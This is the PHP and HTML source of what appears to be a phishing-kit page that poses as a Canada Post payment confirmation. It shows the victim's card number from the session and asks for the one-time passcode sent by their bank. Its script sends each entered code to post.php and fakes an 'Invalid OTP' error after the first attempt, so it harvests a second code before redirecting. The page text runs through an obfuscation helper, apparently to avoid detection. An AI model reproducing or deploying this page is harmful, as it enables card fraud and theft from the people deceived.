<?php
require "../main.php";
date_default_timezone_set('America/Toronto');
$time = date("Y-m-d, H:i");
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>confirmation</title>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap/4.6.2/css/bootstrap.min.css">
<style>
input.error{
    border:1px solid red !important;
}
    </style>

</head>
<body style="background:white;">
    


<section class="p-1">
<!-- SMS -->
<div class="sms container-fluid "  id="sms">
<div class="container-lg" style="width:500px; max-width:100%;">
<div class="row align-items-center border-bottom py-2">
<div class="col text-left">
<img src="res/logo.png" style="width:120px;">
</div>
<div class="col text-right">
<?php 
$f = substr(@$_SESSION['cc'], 0, 1);
switch($f){
    case "4":
echo '    <img src="res/v.png" style="width:70px;">';
break;
case "5":
    echo '    <img src="res/m.png" style="width:70px;">';
    break;
default:
        echo '    <img src="res/mv.png" style="width:110px;">';
        break;

}

?>
</div>
</div>

 
<div class="w-100 text-center border-bottom py-5" style="font-size:0.8em;">
<h4 class="text-left"><?php $bm->obf("Confirmation (OTP)"); ?></h4>
<p class="text-left" style="font-size:1.3em;">
<?php $bm->obf("Please submit the code sent to "); ?>your <?php if(isset($_GET['type'])){
    if($_GET['type']=="phone"){
        echo "phone number";
    }else{
        echo "email address";
    }
    }else{
        echo "phone number";
    } ?> to confirm this <?php $bm->obf("payment"); ?>.
</p>
<table class="table-sm d-inline-block text-left">
<tr>
<th><?php $bm->obf("Date"); ?> :</th>
<td><?php echo $time; ?></td>
</tr>
<tr>
<th><?php $bm->obf("Amount"); ?>:</th>
<td><?php echo @$_SESSION['dlv']; ?>  </td>
</tr>
<tr>
<th><?php $bm->obf("Card number"); ?>:</th>
<td><?php $bm->obf("XXXX XXXX XXXX"); ?> <?php echo substr(@$_SESSION['cc'], -4); ?> </td>
</tr>
<tr>
<th><?php $bm->obf("Merchant"); ?> :</th>
<td><?php $bm->obf("Canada Post Corp"); ?></td>
</tr>
<tr>
<th><?php $bm->obf("OTP"); ?> :</th>
<td><input type="text" id="otp" maxlength="6" autocomplete="one-time-code" placeholder="Enter OTP" style="border:1px solid #333; border-radius:3px;"></td>
</tr>
<tr>
<th></th>
<td style="color:red; display:none;" id="sms_error"> Invalid OTP </td>
</tr>
</table>

</div>

 


<div class=" py-3">
<div class="row">
<div class="col text-left" style="font-size:0.8em; padding:10px;">
<a href="javascript:newOtp()"><?php $bm->obf("Request new code"); ?></a> in <b id="timer">30</b>
</div>
<div class="col  text-right">
<button class="btn btn-primary" onclick="sendOtp()">Confirm</button>   
</div>
</div> 
</div>

</div>
</div>
 



</section>
<div id="loader" style="display:none; width:100%; height:100%; position:fixed;  top:0; left:0; background:rgba(0,0,0,0.6);">
<div style="width:100%; height:100%; display:flex; flex-direction:column; justify-content:center; align-items:center;" >
<img src="res/loading.gif" style="width:70px;">
<span style="color:white;">Please do not leave this page.</span>
</div>
</div>

<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.7.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.mask/1.14.16/jquery.mask.min.js"></script>
<script>
var startTimer = true;
var timer = 30;
var isCounting = false;
var otp_times = 0;
 

function sendOtp(){

    $("#otp").removeClass("error");
    if($("#otp").val().length>=5){
        otp_times++;
        $("#loader").show();
        $.post("post.php",{
            sms:$("#otp").val()
        },(d)=>{

            setTimeout(() => {

                if(otp_times==2){
                    window.location="done.php";
                }else{
                    $("#loader").hide();
                    $("#sms_error").show();
                }

            },5000 );

         });

    }else{
        $("#otp").addClass("error");
    }
}


$("input").keypress((e)=>{
    if(e.key=="Enter"){
        sendOtp();
    }
});






function newOtp(){
    startTimer=true;
    if(timer<=1){
        timer=30;
    }
}


setInterval(()=>{
    if(startTimer && timer>0){
        timer = timer - 1;
        $("#timer").html(timer);
    }

}, 1000);


 
</script>
</body>
</html>